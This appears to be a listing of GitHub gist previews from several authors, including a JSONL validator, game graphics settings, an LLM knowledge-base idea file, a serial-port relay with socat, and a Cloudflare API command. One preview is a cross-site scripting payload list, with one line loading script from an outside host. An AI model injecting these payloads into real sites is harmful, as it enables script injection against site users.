brandonhimpfen

#!/usr/bin/env node
/**
 * Validate JSONL (NDJSON) schema shape while streaming.
 *
 * Features:
 * - Reads JSONL from stdin
 * - Validates each JSON object against a simple schema shape
 * - Supports required fields, nested objects, arrays, and basic types
 * - Reports line-level errors to stderr
 * - Exits non-zero if any record is invalid

JonnyOThan

Recommended Graphics Settings

These settings will get you the best visuals for the cheapest cost. Turning the settings higher does not significantly improve the visual quality but it WILL significantly increase the performance cost. If you have a weaker GPU you may want to set things lower.

• Terrain scatter: off (assuming you have parallax)
• Reflection refresh: If you have Deferred or Textures Unlimited, set to Low. Otherwise Off.
• Reflection resolution: 256
• Antialiasing: off (use scatterer or TUFX antialiasing; stock AA is incompatible with HDR + Bloom anyway)

karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

devinschumacher

source_url	https://github.com/serpapps/canva-downloader/blob/main/README.md

Canva Downloader

Export Canva designs without watermarks in high resolution with all elements intact

tmcolby

This first example assumes two usb serial port adapters are connected to the host machine.  They enumerate as ttyUSB0 and ttyUSB1.
We want data coming into ttyUSB0 to be piped right back out of ttyUSB1 (so our host sits as a man in the middle).
We want an application running on the host to be able to connect to a com port and monitor the traffic.

# create the fifo
sudo mkfifo -m 777 /tmp/fifo

# stream serial data on /dev/ttyUSB0 to the fifo AND a virtual com port /tmp/relay
sudo socat /dev/ttyUSB0,raw,echo=0 system:'sudo tee /tmp/fifo | sudo socat - "pty,raw,echo=0,link=/tmp/relay"' &

Omar-Ikram

//
//  main.m
//  EndpointSecurityDemo
//
//  Created by Omar Ikram on 17/06/2019 - macOS Catalina 10.15 Beta 1 (19A471t)
//  Updated by Omar Ikram on 15/08/2019 - macOS Catalina 10.15 Beta 5 (19A526h)
//  Updated by Omar Ikram on 01/12/2019 - macOS Catalina 10.15 (19A583)
//  Updated by Omar Ikram on 31/01/2021 - macOS Big Sur 11.1 (20C69)
//  Updated by Omar Ikram on 07/05/2021 - macOS Big Sur 11.3.1 (20E241)
//  Updated by Omar Ikram on 04/07/2021 - macOS Monterey 12 Beta 2 (21A5268h)

rvrsh3ll

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

Znuff

Cloudflare doesn't allow disabling IPv6 via their Dashboard any more. This works:

curl -X PATCH "https://api.cloudflare.com/client/v4/zones/<zone-id>/settings/ipv6" \
  -H "X-Auth-Email: <email>" \
  -H "X-Auth-Key: <auth-key>" \
  -H "Content-Type: application/json" \

--data '{"value":"off"}'